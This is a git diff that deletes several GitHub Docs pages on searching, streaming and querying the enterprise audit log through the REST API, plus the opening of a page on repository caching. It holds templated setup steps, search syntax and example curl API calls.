/dev/null @@ -1,165 +0,0 @@ ---- -title: Searching the audit log for your enterprise -intro: You can search an extensive list of audited actions in your enterprise. -shortTitle: Search audit logs -permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can search the audit log.' -redirect_from: - - /enterprise/admin/articles/searching-the-audit-log - - /enterprise/admin/installation/searching-the-audit-log - - /enterprise/admin/user-management/searching-the-audit-log - - /admin/user-management/searching-the-audit-log - - /admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Auditing - - Enterprise - - Logging ---- - -## About search for the enterprise audit log - -You can search your enterprise audit log directly from the user interface by using the **Filters** dropdown, or by typing a search query. - -For more information about viewing your enterprise audit log, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise). - -{% data reusables.audit_log.git-events-not-in-search-results %} - -You can also use the API to retrieve audit log events. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise). - -You cannot search for entries using text. You can, however, construct search queries using a variety of filters. Many operators used when querying the log, such as `-`, `>`, or `<`, match the same format as searching across {% data variables.product.github %}. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -> [!NOTE] -> {% data reusables.audit_log.retention-periods %} - -## Search query filters - -| Filter | Description | -| ------:| ----------- | -| `Yesterday's activity` | All actions created in the past day. | -| `Enterprise account management` | All actions in the `business` category. | -| `Organization membership` | All actions for when a new user was invited to join an organization. | -| `Team management` | All actions related to team management.<br/>- When a user account or repository was added or removed from a team<br/>- When a team maintainer was promoted or demoted<br/>- When a team was deleted | -| `Repository management` | All actions for repository management.<br/>- When a repository was created or deleted<br/>- When the repository visibility was changed<br/>- When a team was added or removed from a repository | -| {% ifversion ghec %} | -| `Billing updates` | All actions concerning how your enterprise pays for {% data variables.product.prodname_dotcom %} and for when your billing email address was changed. | -| {% endif %} | -| `Hook activity` | All actions for webhooks and pre-receive hooks. | -| `Security management` | All actions concerning SSH keys, deploy keys, security keys, 2FA, and SAML single sign-on credential authorization, and vulnerability alerts for repositories. | - -## Search query syntax - -You can compose a search query from one or more `key:value` pairs. For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017: - -`repo:"octocat/Spoon-Knife" created:>=2017-01-01` - -The `key:value` pairs that can be used in a search query are: - -| Key | Value | -| ------------ | ----- | -| `action` | Name of the audited action. | -| `actor` | Name of the user account that initiated the action. | -| {% ifversion ghes %} | -| `actor_id` | ID of the user account that initiated the action. -| {% endif %} | -| {% ifversion ghes %} | -| `actor_ip` | IP address from which the action was initiated. | -| {% endif %} | -| {% ifversion ghes %} | -| `business` | Name of the enterprise affected by the action (if applicable). | -| {% endif %} | -| {% ifversion ghes %} | -| `business_id` | ID of the enterprise affected by the action (if applicable). | -| {% endif %} | -| `created` | Time at which the action occurred.{% ifversion ghes %} If querying the audit log from the site admin dashboard, use `created_at` instead. | -| `country` | Name of the country where the actor was when performing the action. | -| `country_code` | Two-letter short code of the country where the actor was when performing the action. | -| {% ifversion ghes %} | -| `from` | View from which the action was initiated. | -| {% endif %} | -| `hashed_token` | The token used to authenticate for the action (if applicable, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)). | -| {% endif %} | -| `ip` | IP address of the actor. | -| {% ifversion ghes %} | -| `note` | Miscellaneous event-specific information (in either plain text or JSON format). | -| {% endif %} | -| {% ifversion ghes %} | -| `oauth_app_id` | ID of the {% data variables.product.prodname_oauth_app %} associated with the action. | -| {% endif %} | -| `operation` | Operation type that corresponds with the action. Operation types are `create`, `access`, `modify`, `remove`, `authentication`, `transfer`, and `restore`. | -| {% ifversion ghes %} | -| `org` | Name of the organization affected by the action (if applicable). | -| {% endif %} | -| {% ifversion ghes %} | -| `org_id` | ID of the organization affected by the action (if applicable). | -| {% endif %} | -| {% ifversion ghes %} | -| `repo_id` | ID of the repository affected by the action (if applicable). | -| {% endif %} | -| {% ifversion ghes %} | -| `repository` | Name with owner of the repository where the action occurred (such as `"octocat/octo-repo"`). | -| {% endif %} | -| {% ifversion ghec %} | -| `repository` | Name with owner of the repository where the action occurred (such as `octocat/octo-repo`). | -| {% endif %} | -| {% ifversion ghes %} | -| `user_id` | ID of the user affected by the action. | -| {% endif %} | -| `user` | Name of the user affected by the action. | - -To see actions grouped by category, you can also use the action qualifier as a `key:value` pair. For more information, see [Search based on the action performed](#search-based-on-the-action-performed). - -For a full list of actions in your enterprise audit log, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). - -## Searching the audit log - -{% data reusables.audit_log.audit-log-search-by-operation %} - -{% data reusables.audit_log.audit-log-search-by-repo %} - -{% data reusables.audit_log.audit-log-search-by-user %} - -### Search based on the action performed - -To search for specific events, use the `action` qualifier in your query. For example: - -* `action:team` finds all events grouped within the team category. -* `-action:hook` excludes all events in the webhook category. - -Each category has a set of associated actions that you can filter on. For example: - -* `action:team.create` finds all events where a team was created. -* `-action:hook.events_changed` excludes all events where the events on a webhook have been altered. - -Actions that can be found in your enterprise audit log are grouped within the following categories: - -{% data reusables.audit_log.audit-log-action-categories %} - -### Search based on time of action - -Use the `created` qualifier to filter events in the audit log based on when they occurred. - -{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -For example: - -* `created:2014-07-08` finds all events that occurred on July 8th, 2014. -* `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014. -* `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014. -* `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014. - -### Search based on location - -Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or full name. Countries with spaces in their name will need to be wrapped in quotation marks. For example: - -* `country:de` finds all events that occurred in Germany. -* `country:Mexico` finds all events that occurred in Mexico. -* `country:"United States"` all finds events that occurred in the United States. - -### Search based on the token that performed the action - -Use the `hashed_token` qualifier to search based on the token that performed the action. Before you can search for a token, you must generate a SHA-256 hash. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token). diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md deleted file mode 100644 index 645803e76d15..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md +++ /dev/null @@ -1,326 +0,0 @@ ---- -title: Streaming the audit log for your enterprise -intro: 'Learn how to stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.' -versions: - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Auditing - - Enterprise - - Logging - - Organizations -shortTitle: Stream audit logs -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/streaming-the-audit-logs-for-organizations-in-your-enterprise-account - - /admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account -permissions: Enterprise owners ---- - - ->[!NOTE] {% ifversion ghes %}{% data reusables.webhooks.webhooks-as-audit-log-alternative %}{% else %}{% data reusables.webhooks.webhooks-as-audit-log-alternative %}{% endif %} - -## About audit log streaming - -You can help protect intellectual property and maintain compliance for your company by using streaming to keep copies of your audit log data. The audit log details events such as changes to settings and access, user membership, app permissions, and more. See [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise), [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization), and [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events). - -Streaming audit log data has these benefits: - -* **Data exploration**. Examine streamed events using your preferred tool for querying large quantities of data. The stream contains both audit events and Git events across the entire enterprise account.{% ifversion pause-audit-log-stream %} -* **Data continuity**. If you pause a stream, it retains a buffer for seven days, so there is no data loss for the first week. If the stream remains paused for more than seven days, it will resume from a point one week prior to the current time. If paused for three weeks or more, the stream won't retain any data and will start anew from the current timestamp.{% endif %} -* **Data retention**. Keep your exported audit logs and Git events data as long as you need to. - -You can set up{% ifversion pause-audit-log-stream %}, pause,{% endif %} or delete a stream at any time. The stream exports audit and Git events data for all of the organizations in your enterprise, for activity from the time the stream is enabled onwards. - -All streamed audit logs are sent as compressed JSON files. The filename format is in`YYYY/MM/HH/MM/<uuid>.json.gz`. - ->[!NOTE] {% data variables.product.prodname_dotcom %} uses an at-least-once delivery method. Due to certain network or system issues, some events may be duplicated. - -{% ifversion ghes %} - -Enabling audit log streaming can cause a minor impact on the performance of {% data variables.location.product_location %}. To learn about increasing resources to mitigate this performance impact, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources). - -{% endif %} - -{% ifversion audit-log-streaming-health-check %} - -## Health checks for audit log streams - -Every 24 hours, a health check runs for each stream. If a stream is set up incorrectly, an email will be sent to the enterprise owners. To avoid audit log events being dropped from the stream, a misconfigured stream must be fixed within six days. - -To fix your streaming configuration, follow the steps in [Setting up audit log streaming](#setting-up-audit-log-streaming). - -{% endif %} - -## Setting up audit log streaming - -To set up the audit log stream, follow the instructions for your provider: - -* [Amazon S3](#setting-up-streaming-to-amazon-s3) -* [Azure Blob Storage](#setting-up-streaming-to-azure-blob-storage) -* [Azure Event Hubs](#setting-up-streaming-to-azure-event-hubs) -* [Datadog](#setting-up-streaming-to-datadog) -* [Google Cloud Storage](#setting-up-streaming-to-google-cloud-storage) -* [Splunk](#setting-up-streaming-to-splunk) - -{% ifversion ghec %} - ->[!NOTE] To get a list of IP address ranges that {% data variables.product.prodname_dotcom %} uses for connections to the streaming endpoint, use the REST API. The `meta` endpoint for {% data variables.product.prodname_dotcom_the_website %} includes a `hooks` key with a list of the IP addresses. See [AUTOTITLE](/rest/meta/meta#get-github-enterprise-cloud-meta-information). - -{% endif %} - -{% ifversion ghec %} - -### Streaming to multiple endpoints - ->[!NOTE] This feature is currently in {% data variables.release-phases.public_preview %} and subject to change. - -You can stream audit logs to multiple endpoints. For example, you can stream your audit log to two endpoints of the same type, or you can stream to two different providers. To set up multiple streams, follow the instructions for each provider. - -{% endif %} - -### Setting up streaming to Amazon S3 - -{% ifversion ghes %} - ->[!NOTE] The Amazon region `us-east-1` must be reachable from your appliance for streaming to S3 to work. Your S3 bucket can reside in other AWS regions. - -{% endif %} - -{% ifversion streaming-oidc-s3 %} -You can set up streaming to S3 with access keys or, to avoid storing long-lived secrets on {% data variables.product.github %}, with OpenID Connect (OIDC). - -* [Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys) -* [Setting up streaming to S3 with OpenID Connect](#setting-up-streaming-to-s3-with-openid-connect) -* [Disabling streaming to S3 with OpenID Connect](#disabling-streaming-to-s3-with-openid-connect) -* [Integrating with AWS CloudTrail Lake](#integrating-with-aws-cloudtrail-lake) - -#### Setting up streaming to S3 with access keys - -{% endif %} - -To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need: -* Your AWS access key ID -* Your AWS secret key - -For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation. - -From AWS: - -{% data reusables.audit_log.create-s3-bucket %} -{% data reusables.audit_log.create-s3-policy %} - -From {% data variables.product.prodname_dotcom %}: - -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -{% data reusables.audit_log.streaming-choose-s3 %}{% ifversion streaming-oidc-s3 %} -1. Under "Authentication", click **Access keys**.{% endif %} -1. Configure the stream settings. - -{% ifversion ghec %} - - Under "Region", select the bucket's region. For example, `us-east-1`.{% endif %} - - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`. - - Under "Access Key ID", type your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`. - - Under "Secret Key", type your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`. -{% data reusables.audit_log.streaming-check-s3-endpoint %} -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} - -{% ifversion streaming-oidc-s3 %} - -#### Setting up streaming to S3 with OpenID Connect - -From AWS: - -1. Add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM. See [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation. - - * For the provider URL, use `https://oidc-configuration.audit-log.githubusercontent.com`. - * For "Audience", use `sts.amazonaws.com`. -{% data reusables.audit_log.create-s3-bucket %} -{% data reusables.audit_log.create-s3-policy %} -1. Configure the role and trust policy for the {% data variables.product.prodname_dotcom %} IdP. See [Creating a role for web identity or OpenID Connect Federation (console)](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html) in the AWS documentation. - - * Add the permissions policy you created earlier to allow writes to the bucket. - * Edit the trust relationship to add the `sub` field to the validation conditions, replacing `ENTERPRISE` with the name of your enterprise. - - >[!NOTE] The `ENTERPRISE` value is case-sensitive. If the name of your enterprise contains uppercase letters, use the same case in the trust policy. - - ```json - "Condition": { - "StringEquals": { - "oidc-configuration.audit-log.githubusercontent.com:aud": "sts.amazonaws.com", - "oidc-configuration.audit-log.githubusercontent.com:sub": "https://github.com/ENTERPRISE" - } - } - ``` - - * Make note of the Amazon Resource Name (ARN) of the created role. - -From {% data variables.product.prodname_dotcom %}: -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -{% data reusables.audit_log.streaming-choose-s3 %} -1. Under "Authentication", click **OpenID Connect**. -1. Configure the stream settings. - -{% ifversion ghec %} - - Under "Region", select the bucket's region. For example, `us-east-1`; an option for Auto Discovery is also available.{% endif %} - - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`. - - Under "ARN Role" type the ARN role you noted earlier. For example, `arn:aws::iam::1234567890:role/github-audit-log-streaming-role`. -{% data reusables.audit_log.streaming-check-s3-endpoint %} -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} - -#### Disabling streaming to S3 with OpenID Connect - -To disable streaming to S3 with OIDC, delete the {% data variables.product.prodname_dotcom %} OIDC provider you created in AWS when you set up streaming. See [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation. - -If you disable streaming due to a security vulnerability in OIDC, after you delete the provider, set up streaming with access keys until the vulnerability is resolved. See [Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys). - -{% endif %} - -#### Integrating with AWS CloudTrail Lake - -You can consolidate your audit logs by integrating streaming to S3 with AWS CloudTrail Lake. See the [AWS CloudTrail Documentation](https://docs.aws.amazon.com/cloudtrail/) or the [GitHub Audit Log to CloudTrail Open Audit](https://github.com/aws-samples/aws-cloudtrail-lake-github-audit-log) in the `aws-samples/aws-cloudtrail-lake-github-audit-log` repository. - -### Setting up streaming to Azure Blob Storage - -> [!NOTE] Audit log streaming to blob storage in Azure Government is not supported. - -Before setting up a stream in {% data variables.product.prodname_dotcom %}, first create a storage account and a container in Microsoft Azure. See [Introduction to Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) in the Microsoft documentation. - -To configure the stream, you need the URL of a SAS token. - -From the Microsoft Azure portal: -1. On the Home page, click **Storage Accounts**. -1. Under "Name", click the name of the storage account you want to use. -1. Under "Data storage", click **Containers**. -1. Click the name of the container you want to use. -1. In the left sidebar, under "Settings", click **Shared access tokens**. -1. Select the **Permissions** dropdown menu, then select `Create` and `Write` and deselect all other options. -1. Set an expiry date that complies with your secret rotation policy. -1. Click **Generate SAS token and URL**. -1. Copy the value of the **Blob SAS URL** field that's displayed. You will use this URL in {% data variables.product.prodname_dotcom %}. - -From {% data variables.product.prodname_dotcom %}: -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Select the **Configure stream** dropdown menu and click **Azure Blob Storage**. -1. On the configuration page, enter the blob SAS URL that you copied in Azure. The **Container** field is auto-filled based on the URL. -1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Blob Storage endpoint. -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} - -### Setting up streaming to Azure Event Hubs - -> [!NOTE] Event Hubs instances in Azure Government are not supported. - -Before setting up a stream in {% data variables.product.prodname_dotcom %}, you need: - -* An event hub namespace in Microsoft Azure -* An event hub instance within the namespace (see [Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create) in the Microsoft documentation) - -From the Microsoft Azure portal: -1. At the top of the page, use the search box to search for "Event Hubs". -1. Select **Event Hubs**. The names of your event hubs are listed. -1. Make a note of the name of the event hub to which you want to stream. Click the event hub. -1. In the left menu, click **Shared Access Policies**. -1. Select a shared access policy from the list of policies, or create a new policy. -1. Copy the connection string from the **Connection string-primary key** field. - -From {% data variables.product.prodname_dotcom %}: -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Select the **Configure stream** dropdown and click **Azure Event Hubs**. -1. On the configuration page, enter: - * The name of the Azure Event Hubs instance. - * The connection string. -1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Events Hub endpoint. -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} - -### Setting up streaming to Datadog - -To set up streaming to Datadog, create a client token or an API key in Datadog, then configure audit log streaming in {% data variables.product.github %} using the token for authentication. You do not need to create a bucket or other storage container in Datadog. - -After you set up streaming to Datadog, you can see your audit log data by filtering by "github.audit.streaming." See [Log Management](https://docs.datadoghq.com/logs/). - -1. If you don't already have a Datadog account, create one. -1. In Datadog, generate a client token or an API key and then click **Copy key**. See [API and Application Keys](https://docs.datadoghq.com/account_management/api-app-keys/) in Datadog Docs. -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Select the **Configure stream** dropdown and click **Datadog**. -1. In the **Token** field, paste the token you copied earlier. -1. Select the **Site** dropdown and click your Datadog site. To determine your site, compare your Datadog URL to the table in [Datadog sites](https://docs.datadoghq.com/getting_started/site/) in Datadog Docs. -1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Datadog endpoint, click **Check endpoint**. -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} -1. After a few minutes, confirm that audit log data appears on the **Logs** tab in Datadog. If it doesn't appear, confirm that your token and site are correct in {% data variables.product.prodname_dotcom %}. - -### Setting up streaming to Google Cloud Storage - -To set up streaming to Google Cloud Storage, create a service account in Google Cloud with the appropriate credentials and permissions, then configure audit log streaming in {% data variables.product.github %} using the service account's credentials for authentication. - -1. Create a service account for Google Cloud. You do not need to set access controls or IAM roles for this account. See [Creating and managing service accounts](https://cloud.google.com/iam/docs/creating-managing-service-accounts#creating) in the Google Cloud documentation. -1. Create a JSON key for the service account, and store the key securely. See [Creating and managing service account keys](https://cloud.google.com/iam/docs/creating-managing-service-account-keys#creating) in the Google Cloud documentation. -1. If you haven't yet, create a bucket. See [Creating storage buckets](https://cloud.google.com/storage/docs/creating-buckets) in the Google Cloud documentation. -1. Give the service account the Storage Object Creator role for the bucket. See [Using Cloud IAM permissions](https://cloud.google.com/storage/docs/access-control/using-iam-permissions#bucket-add) in the Google Cloud documentation. -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Select the **Configure stream** dropdown and click **Google Cloud Storage**. -1. Under "Bucket", type the name of your Google Cloud Storage bucket. -1. Under "JSON Credentials", paste the entire contents of your service account's JSON key file. -1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} - -### Setting up streaming to Splunk - -To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint, make sure that the endpoint is configured to accept HTTPS connections. See [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation. - ->[!NOTE] {% data variables.product.prodname_dotcom %} validates the HEC endpoint via `<Domain>:port/services/collector`. If self-hosting the endpoint (such as with [Splunk HEC Receiver](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/splunkhecreceiver) via OpenTelemetry), make sure it's reachable at this destination. - -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Select the **Configure stream** dropdown and click **Splunk**. -1. On the configuration page, enter: - * The domain where the application you want to stream to is hosted. - - If you're using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. For example, `http-inputs-mycompany.splunkcloud.com`. - - If you're using the free trial version of Splunk Cloud, `Domain` should be `inputs.<host>`, where `host` is the domain you use in Splunk Cloud. For example, `inputs.mycompany.splunkcloud.com`. - - * The port on which the application accepts data.<br> - - If you're using Splunk Cloud, `Port` should be `443`. - - If you're using the free trial version of Splunk Cloud, `Port` should be `8088`. - - * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application. -1. Leave the **Enable SSL verification** check box selected. - - Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. Verification is optional, but we recommend you leave SSL verification enabled. -1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Splunk endpoint. -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} - -{% ifversion pause-audit-log-stream %} - -## Pausing audit log streaming - -Pause the stream to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.product.github %} and are then exported when you unpause the stream. - -Datadog only accepts logs from up to 18 hours in the past. If you pause a stream to a Datadog endpoint for more than 18 hours, you risk losing logs that Datadog won't accept after you resume streaming. - -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. To the right of your configured stream, click **Pause stream**. -1. A confirmation message displays. Click **Pause stream** to confirm. - -To restart streaming, click **Resume stream**. -{% endif %} - -## Deleting the audit log stream - -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Under "Danger zone", click **Delete stream**. -1. A confirmation message displays. Click **Delete stream** to confirm. - -{% ifversion audit-log-streaming-for-api %} - -## Enabling audit log streaming of API requests - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -1. Under "Audit log", click **Settings**. -1. Under "API Requests", select **Enable API Request Events**. -1. Click **Save**. - -{% endif %} diff --git a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md b/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md deleted file mode 100644 index ef2f0dc21f7f..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Using the audit log API for your enterprise -intro: Learn how to programmatically retrieve enterprise events with the REST API. -shortTitle: Audit log API -permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}' -versions: - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Auditing - - Enterprise - - Logging - - API ---- - ->[!NOTE] {% data reusables.webhooks.webhooks-as-audit-log-alternative %} - -Maintain compliance and secure intellectual property with endpoints relating to the audit log. See [AUTOTITLE](/rest/enterprise-admin/audit-log) and [AUTOTITLE](/rest/orgs#get-the-audit-log-for-an-organization). - -For more information about the specific events that you can access via the audit log endpoints, see the following articles. - -* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events) - -## Audit log details - -{% data reusables.audit_log.retention-periods %} - -Timestamps and date fields in the API response are measured in [UTC epoch milliseconds](https://en.wikipedia.org/wiki/Unix_time). - -You can use the `read:audit_log` scope to access the audit log via the API. - -{% ifversion ghec %} - -## Rate limit - -Each audit log API endpoint has a rate limit of 1,750 queries per hour for a given combination of user and IP address. To avoid rate limiting, integrations that query the audit log API should query at a maximum frequency of 1,750 queries per hour. Additionally, if your integration receives a rate limit error (typically a 403 or 429 response), it should wait before making another request to the API. See [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api) and [AUTOTITLE](/rest/guides/best-practices-for-integrators).{% endif %} - -## Example 1: All events in an enterprise, for a specific date, with pagination - -You can use {% ifversion ghes %}page-based{% else %}cursor based{% endif %} pagination. For more information about pagination, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -{% ifversion ghes %} - -The query below searches for audit log events created on Jan 1st, 2022 in the `avocado-corp` enterprise, and return the first page with a maximum of 100 items per page using pagination. For more information about pagination, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -```shell -curl -H "Authorization: Bearer TOKEN" \ ---request GET \ -"{% data variables.product.rest_url %}/enterprises/avocado-corp/audit-log?phrase=created:2022-01-01&page=1&per_page=100" -``` - -{% else %} - -The query below searches for audit log events created on Jan 1st, 2022 in the `avocado-corp` enterprise, and returns the first page with a maximum of 100 items per page using pagination. For more information about pagination, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). The `--include` flag causes the headers to be returned along with the response. - -```shell -curl --include -H "Authorization: Bearer TOKEN" \ ---request GET \ -"{% data variables.product.rest_url %}/enterprises/avocado-corp/audit-log?phrase=created:2022-01-01&per_page=100" -``` - -If there are more than 100 results, the `link` header will include URLs to fetch the next, first, and previous pages of results. - -```text -link: <{% data variables.product.rest_url %}/enterprises/13827/audit-log?%3A2022-11-01=&per_page=100&after=MS42NjQzODMzNTk5MjdlKzEyfDloQzBxdURzaFdVbVlLWjkxRU9mNXc%3D&before=>; rel="next", -<{% data variables.product.rest_url %}/enterprises/13827/audit-log?%3A2022-11-01=&per_page=100&after=&before=>; rel="first", -<{% data variables.product.rest_url %}/enterprises/13827/audit-log?%3A2022-11-01=&per_page=100&after=&before=MS42Njc4NDA2MjM4MzNlKzEyfExqeG5sUElvNEZMbG1XZHA5akdKTVE%3D>; rel="prev" -``` - -Copy the corresponding pagination link into your next request. For example: - -```shell -curl -I -H "Authorization: Bearer TOKEN" \ ---request GET \ -"{% data variables.product.rest_url %}/enterprises/13827/audit-log?%3A2022-11-01=&per_page=100&after=MS42Njc4NDA2MjM5NDFlKzEyfHRYa3AwSkxUd2xyRjA5bWxfOS1RbFE%3D&before=" -``` - -{% endif %} - -## Example 2: Events for pull requests in an enterprise, for a specific date and actor - -You can specify multiple search phrases, such as `created` and `actor`, by separating them in your formed URL with the `+` symbol or ASCII character code `%20`. - -The query below searches for audit log events for pull requests, where the event occurred on or after Jan 1st, 2022 in the `avocado-corp` enterprise, and the action was performed by the `octocat` user: - -```shell -curl -H "Authorization: Bearer TOKEN" \ ---request GET \ -"{% data variables.product.rest_url %}/enterprises/avocado-corp/audit-log?phrase=action:pull_request+created:>=2022-01-01+actor:octocat" -``` - -## Example 3: Events for Git activity in an enterprise, for a specific date and actor - -You can search for Git events in an enterprise, such as cloning, fetching, and pushing, by adding `include=git` as a parameter in the URL. Alternatively, you can use `include=all` to search for both web events and Git events. - -The query below searches for audit log events for Git activity, where the event occurred after Jan 1st, 2024, in the `avocado-corp` enterprise, and the action was performed by the `octocat` user. - -```shell -curl -H "Authorization: Bearer TOKEN" \ ---request GET \ -"{% data variables.product.rest_url %}/enterprises/avocado-corp/audit-log?phrase=created:>=2024-01-01+actor:octocat&include=git" -``` diff --git a/content/admin/monitoring-and-managing-your-instance/caching-repositories/about-repository-caching.md b/content/admin/monitoring-and-managing-your-instance/caching-repositories/about-repository-caching.md deleted file mode 100644 index cd09f79c5c45..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/caching-repositories/about-repository-caching.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: About repository caching -intro: You can increase the performance of Git read operations for distributed teams and CI farms with repository caching. -versions: - ghes: '*' -type: overview -topics: - - Enterprise -redirect_from: - - /admin/enterprise-management/caching-repositories/about-repository-caching - - /admin/monitoring-managing-and-updating-your-instance/caching-repositories/about-repository-caching ---- - -If you have teams and CI farms located around the world, you may experience reduced performance on your primary {% data variables.product.prodname_ghe_server %} instance. While active geo-replicas can improve the performance of read requests, this comes at the cost of limiting write throughput. To reduce load on your primary instance and improve write throughput performance, you can configure a repository cache, an asynchronous read-only mirror of repositories located near these geographically-distributed clients. - -A repository cache eliminates the need for {% data variables.product.prodname_ghe_server %} to transmit the same Git data over a long-haul network link multiple times to serve multiple clients, by serving your repository data close to CI farms and distributed teams. For instance, if your primary instance is in North America and you also have a large presence in Asia, you will benefit from setting up the repository cache in Asia for use by CI runners there. - -The repository cache listens to the primary instance, whether that's a single instance or a geo-replicated set of instances, for changes to Git data. CI farms and other read-heavy consumers clone and fetch from the repository cache instead of the primary instance. Changes are propagated across the network, at periodic intervals, once per cache instance rather than once per client. Git data will typically be visible on the repository cache within several minutes after the data is pushed to the primary instance. The 